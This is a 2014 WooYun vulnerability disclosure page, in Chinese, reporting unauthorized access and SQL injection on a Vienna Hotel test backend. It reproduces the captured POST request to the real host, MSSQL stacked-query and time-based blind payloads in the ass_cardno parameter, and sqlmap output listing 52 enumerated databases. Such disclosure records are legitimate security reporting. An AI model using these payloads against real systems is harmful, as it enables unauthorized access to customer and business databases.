当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-081192

漏洞标题：维也纳酒店某测试后台未授权访问+SQL注入

相关厂商：wyn88.com

漏洞作者： 路人甲

提交时间：2014-10-29 15:48

修复时间：2014-11-03 15:50

公开时间：2014-11-03 15:50

漏洞类型：未授权访问/权限绕过

危害等级：高

自评Rank：15

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-10-29： 细节已通知厂商并且等待厂商处理中
2014-11-03： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

~~求邀请码

详细说明：

后台地址：http://df.wyn88.com:8087/

01.jpg


1. 未授权访问,这里不需要登入就可以直接测试

02.jpg


2. SQL注入
积分查询测试

03.jpg


burp抓包
post 请求

POST /home/SearchCent HTTP/1.1
Host: df.wyn88.com:8087
Proxy-Connection: keep-alive
Content-Length: 32
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://df.wyn88.com:8087
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36
Content-Type: application/x-www-form-urlencoded
DNT: 1
Referer: http://df.wyn88.com:8087/home/SearchCent
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: LXB_REFER=www.google.com; Hm_lvt_ae8bddcb177c34849249800dc684ac2c=1414414368,1414414373; Hm_lpvt_ae8bddcb177c34849249800dc684ac2c=1414414854
RA-Ver: 2.7.0
RA-Sid: 65E7C870-20141014-044958-a23ba1-b78bcc
ass_cardno=015684&page=1&rows=50


sqlmap：

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: ass_cardno
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: ass_cardno=015684; WAITFOR DELAY '0:0:5'--&page=1&rows=50
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: ass_cardno=015684 WAITFOR DELAY '0:0:5'--&page=1&rows=50
---
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 7.5
back-end DBMS: Microsoft SQL Server 2008
current database:    'ftdata'
available databases [52]:
[*] [OperationData]
[*] [WynCmsDB!]
[*] CenterCRM
[*] ConvertToPMSThd
[*] CRM_MPS_duibi
[*] DBStorage
[*] DW_VIENNA
[*] ftdata
[*] jira
[*] master
[*] Member
[*] model
[*] msdb
[*] PmsBase
[*] PmsBase_20140915
[*] PmsBase_Open
[*] PmsBase_Train
[*] PmsBusiness
[*] PmsBusiness_20140915
[*] PmsBusiness_C
[*] PmsBusiness_History
[*] PmsBusiness_Open
[*] PmsBusine


数据库Member table

04.jpg


其他的就不列了，表挺多的

漏洞证明：

修复方案：

求邀请码

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2014-11-03 15:50

厂商回复：

最新状态：

2015-01-26：测试系统，已关闭

漏洞评价：

评论